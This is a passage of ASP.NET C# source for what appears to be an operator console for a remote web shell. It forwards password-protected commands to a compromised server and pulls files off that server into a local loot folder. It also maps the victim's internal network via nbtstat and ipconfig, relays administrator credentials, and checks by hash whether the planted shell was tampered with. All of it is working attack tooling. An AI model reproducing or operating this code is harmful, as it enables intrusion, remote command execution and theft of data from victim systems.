{\r\n                    //url = urlp[0];\r\n                    p = urlp[1];\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n\r\n                if (HttpContext.Current.Request.Cookies[\"loginStyle\"] != null)\r\n                    loginStyle = fb(HttpContext.Current.Request.Cookies[\"loginStyle\"].Value);\r\n\r\n                switch (selectedMethod)\r\n                {\r\n                    case method.auth:\r\n                        auth();\r\n                        break;\r\n                    case method.localExplore:\r\n                        SpecialScript = \"$('#btnExpror').click();\";\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + unpack(t[\"exadd\"]).Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\n$('#btnExpror').click();\";\r\n                        break;\r\n                    case method.command:\r\n                        command(unpack(t[\"cmd\"]));\r\n                        break;\r\n                    case method.downloadTest:\r\n                        downloadTest(t);\r\n                        break;\r\n                    case method.download:\r\n                        Thread thr = new Thread(() => download(unpack(t[\"don\"]), unpack(t[\"isdelete\"]), unpack(t[\"localPath\"]), unpack(t[\"downloadguid\"])));\r\n                        thr.Start();\r\n                        break;\r\n                    case method.checkDownloadProgress:\r\n                        checkDownloadProgress(unpack(t[\"downloadguid\"]), unpack(t[\"lastsize\"]), unpack(t[\"lasttime\"]));\r\n                        break;\r\n                    case method.upload:\r\n                        upload(HttpContext.Current.Request.Files[\"uploadFile\"], t[\"uploadPath\"], t[\"isExp\"]);\r\n                        break;\r\n                    case method.checkModules:\r\n                        checkModules();\r\n                        break;\r\n                    case method.installModule:\r\n                        installModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.uninstallModule:\r\n                        uninstallModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.cmd7z:\r\n                        cmd7z(unpack(t[\"7zclevel\"]), unpack(t[\"7zaddress\"]), unpack(t[\"7zfiles\"]), unpack(t[\"7zvsize\"]), unpack(t[\"7zvmode\"]), unpack(t[\"7zexclude\"]));\r\n                        break;\r\n                    case method.spycheck:\r\n                        spycheck(unpack(t[\"loc\"]));\r\n                        break;\r\n                    case method.getIPFromNbt:\r\n                        getIPFromNbt(unpack(t[\"mode\"]), unpack(t[\"input\"]));\r\n                        break;\r\n                    case method.GetLogicDrives:\r\n                        GetLogicDrives(unpack(t[\"exadd\"]), unpack(t[\"adminU\"]), unpack(t[\"adminP\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderCheck:\r\n                        NetworkDownloaderCheck(unpack(t[\"cn\"]), unpack(t[\"ip\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderLog:\r\n                        NetworkDownloaderLog(unpack(t[\"cn\"]), unpack(t[\"log\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderError:\r\n                        NetworkDownloaderError(unpack(t[\"cn\"]), unpack(t[\"error\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDone:\r\n                        NetworkDownloaderDone(unpack(t[\"cn\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDir:\r\n                        NetworkDownloaderDir(unpack(t[\"cn\"]), unpack(t[\"filename\"]), unpack(t[\"text\"]), unpack(t[\"isappend\"]));\r\n                        break;\r\n                    case method.SaveLog:\r\n                        SaveLog(unpack(t[\"path\"]), unpack(t[\"filename\"]), unpack(t[\"content\"]));\r\n                        break;\r\n                    default:\r\n                        proxy(t);\r\n                        break;\r\n                }\r\n            }\r\n            //else\r\n            //    auth();\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            response(\"Error : \" + ex.Message);\r\n        }\r\n    %>\r\n    <script runat=\"server\">\r\n        enum method\r\n        {\r\n            auth = 0,\r\n            command = 1,\r\n            upload = 2,\r\n            uploadbase64 = 3,\r\n            delete = 4,\r\n            download = 5,\r\n            changeTime = 6,\r\n            sqlQuery = 7,\r\n            explorer = 8,\r\n            getsize = 9,\r\n            getlocation = 10,\r\n            rename = 11,\r\n            copy = 12,\r\n            view = 13,\r\n            commandAjax = 14,\r\n            downloadTest = 15,\r\n            checkModules = 16,\r\n            installModule = 17,\r\n            uninstallModule = 18,\r\n            cmd7z = 19,\r\n            authAjax = 20,\r\n            getlocationAjax = 21,\r\n            spycheck = 22,\r\n            localExplore = 23,\r\n            checkDownloadProgress = 25,\r\n            getIPFromNbt = 26,\r\n            GetLogicDrives = 27,\r\n            NetworkDownloaderCheck = 28,\r\n            NetworkDownloaderLog = 29,\r\n            NetworkDownloaderError = 30,\r\n            NetworkDownloaderDone = 31,\r\n            NetworkDownloaderDir = 32,\r\n            SaveLog = 33\r\n\r\n        };\r\n        string url, p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd, adminU, adminP, cmdB, loc;\r\n        string SpecialScript, loginStyle;\r\n        string BaseAddress = @\"C:\\Users\\Public\\Libraries\\\";\r\n        string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n        string SpyCheckLocation = @\"C:\\Users\\Public\\Libraries\\SpyCheck\\\";\r\n        string LocationNetworkDownloader = @\"C:\\Users\\Public\\Libraries\\NetworkDownloader\\\";\r\n\r\n        //string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n        bool isAjax = false;\r\n        string tb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        string fb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n        void proxy(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void SaveLog(string path, string filename, string content)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                File.AppendAllText(CheckDirectory(url, BaseAddress + path + \"\\\\\") + filename, content);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string unpack(string data) { return isAjax ? fb(data) : data; }\r\n        void GetLogicDrives(string address, string adminU, string adminP)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                //if (address.ToLower().Contains(\"\\\\\\\\localhost\"))\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.explorer).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"exadd\", tb(address)},\r\n                    { \"adminU\", tb(adminU)},\r\n                    { \"adminP\", tb(adminP)}\r\n                });\r\n                //else\r\n                //{\r\n\r\n                //}\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderCheck(string computerName, string ip)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = \"ok\";\r\n                if (Directory.Exists(LocationNetworkDownloader))\r\n                {\r\n                    if (string.IsNullOrEmpty(computerName))\r\n                    {\r\n                        //-+\\s+(\\S+)\r\n                        //nbtstat -a 192.168.100.16\r\n\r\n                        string nbtstat = SendRequest(url, new NameValueCollection() {\r\n                            { \"m\", tb(((int)method.command).ToString())},\r\n                            { \"p\", tb(p)},\r\n                            { \"cmd\", tb(string.Format(\"nbtstat -a {0}\",ip))}\r\n                        });\r\n\r\n                        if (nbtstat.Contains(\"Host not found\"))\r\n                        {\r\n                            ret = \"Error : Cannot find computer name from IP Address (Host not found)\";\r\n                        }\r\n                        else\r\n                        {\r\n                            Regex reg = new Regex(@\"-+\\s+(\\S+)\");\r\n                            MatchCollection regResult = reg.Matches(nbtstat);\r\n                            if (regResult.Count > 0)\r\n                            {\r\n                                computerName = regResult[0].Groups[1].Value;\r\n                            }\r\n                            else\r\n                            {\r\n                                ret = \"Error : Cannot find computer name from IP Address (\" + nbtstat + \")\";\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    if (!string.IsNullOrEmpty(computerName))\r\n                    {\r\n\r\n                        string targetPathIP = CheckDirectory(url, LocationNetworkDownloader) + ip.TrimStart('\\\\') + \"\\\\\";\r\n                        string targetPathCN = CheckDirectory(url, LocationNetworkDownloader) + computerName + \"\\\\\";\r\n                        if (Directory.Exists(targetPathCN))\r\n                        {\r\n                            if (Directory.Exists(targetPathIP))\r\n                                Directory.Move(targetPathIP, targetPathCN + ip.TrimStart('\\\\'));\r\n                        }\r\n                        else if (Directory.Exists(targetPathIP))\r\n                            Directory.Move(targetPathIP, targetPathCN);\r\n                        else\r\n                            Directory.CreateDirectory(targetPathCN);\r\n\r\n                        if (File.Exists(targetPathCN + \"address.txt\"))\r\n                            ret = File.ReadAllText(targetPathCN + \"address.txt\");\r\n\r\n                        //if (File.Exists(targetPathCN + \"done.txt\"))\r\n                        //    ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                        //else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                        //    ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n\r\n                        File.AppendAllText(targetPathCN + \"ip.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + \" : \" + ip + Environment.NewLine);\r\n                    }\r\n                    else\r\n                        ret = \"cnerror|cannot get the computer name\";\r\n                }\r\n                else\r\n                    Directory.CreateDirectory(LocationNetworkDownloader);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderLog(string cn, string log)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"log.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), log));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderError(string cn, string error)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"error.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), error));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDone(string cn)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"done.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + Environment.NewLine);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDir(string cn, string filename, string text, string isappend)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                if (isappend.ToLower() == \"true\")\r\n                    File.AppendAllText(targetPath + filename + \".txt\", text);\r\n                else\r\n                    File.WriteAllText(targetPath + filename + \".txt\", text);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void upload(HttpPostedFile uploadFile, string uploadPath, string isExp)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (uploadFile != null && uploadFile.ContentLength > 0)\r\n                {\r\n                    ret = SendFile(uploadFile, uploadPath);\r\n                    if (!string.IsNullOrEmpty(isExp))\r\n                    {\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + uploadPath.Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\ndocument.getElementById('btnExpror').click();\";\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            response(ret);\r\n        }\r\n        public string UploadFile(Stream fStream, string fileName, string dataName, List<KeyValuePair<string, string>> formData)\r\n        {\r\n            HttpWebRequest requestToServerEndpoint = (HttpWebRequest)WebRequest.Create(url);\r\n            string boundaryString = \"----sdfERASDGsdf342GA\";\r\n\r\n            requestToServerEndpoint.Method = WebRequestMethods.Http.Post;\r\n            requestToServerEndpoint.ContentType = \"multipart/form-data; boundary=\" + boundaryString;\r\n            requestToServerEndpoint.KeepAlive = true;\r\n            requestToServerEndpoint.Credentials = System.Net.CredentialCache.DefaultCredentials;\r\n\r\n            MemoryStream postDataStream = new MemoryStream();\r\n            StreamWriter postDataWriter = new StreamWriter(postDataStream);\r\n\r\n            foreach (var item in formData)\r\n            {\r\n                postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n                postDataWriter.Write(\"Content-Disposition: form-data; name=\\\"{0}\\\"\\r\\n\\r\\n{1}\",\r\n                item.Key,\r\n                tb(item.Value));\r\n            }\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n            postDataWriter.Write(\"Content-Disposition: form-data;\"\r\n            + \"name=\\\"{0}\\\";\"\r\n            + \"filename=\\\"{1}\\\"\"\r\n            + \"\\r\\nContent-Type: multipart/form-data\\r\\n\\r\\n\",\r\n            dataName,\r\n            fileName);\r\n            postDataWriter.Flush();\r\n\r\n            Stream fileStream = fStream;\r\n            byte[] buffer = new byte[1024];\r\n            int bytesRead = 0;\r\n            while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)\r\n            {\r\n                postDataStream.Write(buffer, 0, bytesRead);\r\n            }\r\n            fileStream.Close();\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"--\\r\\n\");\r\n            postDataWriter.Flush();\r\n\r\n            requestToServerEndpoint.ContentLength = postDataStream.Length;\r\n\r\n            using (Stream s = requestToServerEndpoint.GetRequestStream())\r\n            {\r\n                postDataStream.WriteTo(s);\r\n            }\r\n            postDataStream.Close();\r\n\r\n            WebResponse response = requestToServerEndpoint.GetResponse();\r\n            StreamReader responseReader = new StreamReader(response.GetResponseStream());\r\n            string replyFromServer = responseReader.ReadToEnd();\r\n\r\n            return fb(replyFromServer);\r\n        }\r\n        public string SendFile(HttpPostedFile uploadFile, string uploadPath)\r\n        {\r\n            List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n            formData.Add(new KeyValuePair<string, string>(\"uploadPath\", uploadPath));\r\n            formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n            formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n            return UploadFile(uploadFile.InputStream, uploadFile.FileName, \"uploadFile\", formData);\r\n        }\r\n        void auth()\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"p\", tb(p));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"url\", tb(url));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (!string.IsNullOrEmpty(p) && !string.IsNullOrEmpty(url))\r\n                {\r\n\r\n                    SpecialScript = \"$('#btnLogin').click();\";\r\n\r\n                    //string HtmlResult = SendRequest(url, new NameValueCollection() {\r\n                    //        { \"m\", ((int)method.auth).ToString()},\r\n                    //        { \"p\", p}\r\n                    //    });\r\n\r\n                    //if (HtmlResult == \"True\")\r\n                    //{\r\n                    //    ret = \"Login successful\" + Environment.NewLine;\r\n                    //    loginStyle = \"login\";\r\n                    //    getLoc();\r\n                    //    SpecialScript = \"document.getElementById('chkModules').click();\";\r\n                    //}\r\n                    //else\r\n                    //{\r\n                    //    ret = \"Login failed\" + Environment.NewLine;\r\n                    //    loginStyle = \"logout\";\r\n                    //}\r\n\r\n                    //HttpCookie coo = new HttpCookie(\"loginStyle\", tb(loginStyle));\r\n                    //coo.Expires = DateTime.Now.AddDays(1);\r\n                    //HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n        void response(string res)\r\n        {\r\n            log.InnerHtml = res;\r\n        }\r\n        void responseAjax(string res)\r\n        {\r\n            Response.Clear();\r\n            Response.Write(tb(res));\r\n            Response.Flush();\r\n            Response.SuppressContent = true;\r\n            ApplicationInstance.CompleteRequest();\r\n        }\r\n        void getLoc()\r\n        {\r\n            loc = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", ((int)method.getlocation).ToString()},\r\n                { \"p\", p}\r\n            });\r\n        }\r\n        void spycheck(string location)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string[] parts1 = url.Split('/');\r\n                string filename = location + parts1[parts1.Length - 1].Split('?')[0];\r\n                if (!filename.EndsWith(\".aspx\"))\r\n                    filename += \".aspx\";\r\n                string filetext = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"type \\\"{0}\\\"\",filename))}\r\n                });\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Substring(filetext.IndexOf(\"&lt;%@\"));\r\n                byte[] fbytes = Encoding.UTF8.GetBytes(filetext);\r\n                string fHash = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(fbytes));\r\n                if (\"DVsd1YT+t32whUqKfof/OW+nHkrnPR2g+slM4EfaZI8=\" == fHash)\r\n                    ret = \"True\";\r\n                else\r\n                {\r\n                    ret = \"False\";\r\n\r\n                    Uri myUri = new Uri(url);\r\n                    string host = myUri.Host;\r\n\r\n                    string path = SpyCheckLocation + host + \"\\\\\";\r\n\r\n                    if (!Directory.Exists(path))\r\n                        Directory.CreateDirectory(path);\r\n\r\n                    File.WriteAllText(path + Path.GetFileNameWithoutExtension(myUri.AbsolutePath) + \"_\" + DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\") + Path.GetExtension(myUri.AbsolutePath), HttpUtility.HtmlDecode(filetext));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void command(string cmd)\r\n        {\r\n            SpecialScript = @\"\r\n$('#inpCmd').val(b64DecodeUnicode('\" + tb(cmd) + @\"'));\r\ncommand($('#inpCmd').get(0));\";\r\n        }\r\n        private string CheckDirectory(string url, string dirPath)\r\n        {\r\n            string newPath = string.Empty;\r\n\r\n            if (!dirPath.EndsWith(\"\\\\\"))\r\n                dirPath += \"\\\\\";\r\n\r\n            Uri myUri = new Uri(url);\r\n            string host = myUri.Host;\r\n\r\n            newPath = dirPath + host + \"\\\\\";\r\n\r\n            if (!Directory.Exists(newPath))\r\n                Directory.CreateDirectory(newPath);\r\n\r\n            //if (!Directory.Exists(DownloadTemp))\r\n            //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n            return newPath;\r\n        }\r\n        class NbtComputer\r\n        {\r\n            public string IP { get; set; }\r\n            public string Domain { get; set; }\r\n            public string ComputerName { get; set; }\r\n            public List<string> Props { get; set; }\r\n            public string Mac { get; set; }\r\n            public string FullDomain { get; set; }\r\n        }\r\n        class NbtResult\r\n        {\r\n            public string Log { get; set; }\r\n            public List<NbtComputer> NbtComputers { get; set; }\r\n        }\r\n        private void getIPFromNbt(string mode, string input)\r\n        {\r\n            NbtResult nbtresult = new NbtResult();\r\n            nbtresult.NbtComputers = new List<NbtComputer>();\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                List<string> IPs = new List<string>();\r\n\r\n                if (mode == \"ipconfig\")\r\n                {\r\n                    string ipconfig = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(\"ipconfig /all 2>&1\"))}\r\n                    });\r\n\r\n                    Regex rxIPconfig = new Regex(@\"(IPv4 Address)[\\.\\s]+:\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\");\r\n                    foreach (Match match in rxIPconfig.Matches(ipconfig))\r\n                    {\r\n                        IPs.Add(match.Groups[2].Value + \"/24\");\r\n                    }\r\n\r\n                    //nbtresult.Log = \"IPs that gatter from ipconfig /all :\" + Environment.NewLine;\r\n                }\r\n                else\r\n                {\r\n                    string[] tempSplit = input.Split(',');\r\n                    foreach (string item in tempSplit)\r\n                    {\r\n                        IPs.Add(item);\r\n                    }\r\n                }\r\n\r\n                //foreach (string ip in IPs)\r\n                //{\r\n                //    nbtresult.Log += ip + Environment.NewLine;\r\n                //}\r\n                //nbtresult.Log += Environment.NewLine + \"try nbt on this IPs :\" + Environment.NewLine;\r\n\r\n                foreach (string ip in IPs)\r\n                {\r\n                    int count = 0;\r\n                    string nbtResult = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(@\"{0} -f {1} 2>&1\", moduleFolder + ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value,ip))}\r\n                    });\r\n\r\n                    Regex rxNbtResult = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n(\\s+\\S+\\s+\\S+\\s+\\w+\\s+[\\w|\\s]+\\r\\n)+\\s+(\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2})\\s+\\w+\\s+(\\S+)\\r\\n\");\r\n                    foreach (Match item in rxNbtResult.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n                        nc.Mac = item.Groups[5].Value;\r\n                        nc.FullDomain = item.Groups[6].Value;\r\n\r\n                        nbtresult.NbtComputers.Add(nc);\r\n                    }\r\n                    nbtresult.Log += ip + \" -> \" + count;\r\n                }\r\n\r\n                ret = JsonConvert.SerializeObject(nbtresult);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        enum DownloadStatus\r\n        {\r\n            Requested,\r\n            Downloading,\r\n            Pause,\r\n            Error,\r\n            Complete\r\n        }\r\n        private void DownloadUpdateStatus(string localPath, string downloadguid, DownloadStatus status, DateTime startDate, long totalsize, long downloadedsize)\r\n        {\r\n            //string text = string.Format(\"{0}{1}{2}{3}\",\r\n            //        status.ToString() + Environment.NewLine,\r\n            //        startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine,\r\n            //        totalsize.ToString() + Environment.NewLine,\r\n            //        downloadedsize.ToString() + Environment.NewLine\r\n            //        );\r\n\r\n            NameValueCollection data = new NameValueCollection() {\r\n                { \"status\", status.ToString()},\r\n                { \"startdate\", startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\")},\r\n                { \"totalsize\", totalsize.ToString()},\r\n                { \"downloadedsize\", downloadedsize.ToString()}\r\n            };\r\n\r\n            Session[downloadguid] = data;\r\n\r\n            //File.AppendAllText(DownloadTemp + Path.GetFileName(localPath), text);\r\n\r\n            //using(TextWriter txtWriter = new StreamWriter(File.Open(DownloadTemp + Path.GetFileName(localPath), FileMode.Truncate)))\r\n            //{\r\n            //    txtWriter.Write(text);\r\n            //}\r\n\r\n            //using (TextWriter fs = new FileStream(DownloadTemp + Path.GetFileName(localPath), FileMode.Open, FileAccess.Write, FileShare.ReadWrite))\r\n            //{\r\n            //    using (var sr = new StreamWriter(fs, Encoding.Default))\r\n            //    {\r\n            //        // read the stream\r\n            //        //...\r\n            //    }\r\n            //}\r\n\r\n        }\r\n        private string DownLoadFileByWebRequest(string urlAddress, string localPath, string downloadguid, NameValueCollection postParam)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                DateTime StartDate = DateTime.Now;\r\n                HttpWebRequest request = null;\r\n                HttpWebResponse response = null;\r\n                request = (HttpWebRequest)HttpWebRequest.Create(urlAddress);\r\n                request.Timeout = 30000;  //8000 Not work\r\n                request.Method = \"POST\";\r\n                StringBuilder postBuilder = new StringBuilder();\r\n                for (int i = 0; i < postParam.Count; i++)\r\n                {\r\n                    postBuilder.AppendFormat(\"{0}={1}\", Uri.EscapeDataString(postParam.GetKey(i)), Uri.EscapeDataString(tb(postParam.Get(i))));\r\n                    if (i < postParam.Count - 1)\r\n                    {\r\n                        postBuilder.Append(\"&\");\r\n                    }\r\n                }\r\n                byte[] postBytes = Encoding.ASCII.GetBytes(postBuilder.ToString());\r\n                request.ContentLength = postBytes.Length;\r\n                request.ContentType = \"application/x-www-form-urlencoded\";\r\n                var stream = request.GetRequestStream();\r\n                stream.Write(postBytes, 0, postBytes.Length);\r\n                stream.Close();\r\n                stream.Dispose();\r\n\r\n                response = (HttpWebResponse)request.GetResponse();\r\n                ContentDisposition disposition = new ContentDisposition(response.Headers[\"content-disposition\"]);\r\n                long fileSize = disposition.Size;\r\n                Stream s = response.GetResponseStream();\r\n\r\n                FileStream os = new FileStream(localPath, FileMode.OpenOrCreate, FileAccess.Write);\r\n                byte[] buff = new byte[8 * 1024];\r\n                int c = 0;\r\n                long totalGet = 0;\r\n                //long lastUpdateSize = 0;\r\n                //DateTime lastUpdateTime = StartDate;\r\n                while ((c = s.Read(buff, 0, buff.Length)) > 0)\r\n                {\r\n                    totalGet += c;\r\n\r\n                    os.Write(buff, 0, c);\r\n                    os.Flush();\r\n                    //DateTime saveTime = DateTime.Now;\r\n                    //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, lastUpdateTime, saveTime, fileSize, totalGet, lastUpdateSize);\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, fileSize, totalGet);\r\n                    //if (totalGet < fileSize)\r\n                    //{\r\n                    //    lastUpdateSize = totalGet;\r\n                    //    lastUpdateTime = saveTime;\r\n                    //}\r\n                }\r\n                os.Close();\r\n                s.Close();\r\n\r\n                //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, lastUpdateTime, DateTime.Now, fileSize, totalGet, lastUpdateSize);\r\n                DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, fileSize, totalGet);\r\n\r\n                ret = (string.Format(\"File \\\"{0}\\\" successfuly downloaded : \\\"{1}\\\"\", Path.GetFileName(localPath), localPath));\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            return ret;\r\n        }\r\n        void downloadTest(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n                if (!ret.ToLower().StartsWith(\"error\"))\r\n                {\r\n                    string filePath = DownloadLocation;\r\n                    filePath = CheckDirectory(url, filePath);\r\n\r\n                    string filename = Path.GetFileName(unpack(t[\"don\"]));\r\n                    string localPath = filePath + filename;\r\n                    int fileIndex = 1;\r\n                    while (File.Exists(localPath))\r\n                    {\r\n                        localPath = filePath + Path.GetFileNameWithoutExtension(filename) + \"(\" + (fileIndex++) + \")\" + Path.GetExtension(filename);\r\n                    }\r\n\r\n                    CreateEmptyFile(localPath);\r\n                    string downloadguid = Guid.NewGuid().ToString();\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Requested, DateTime.Now, 0, 0);\r\n                    ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"localPath\\\":\\\"{1}\\\",\\\"downloadguid\\\":\\\"{2}\\\"}}\", tb(ret), tb(localPath), tb(downloadguid));\r\n                }\r\n            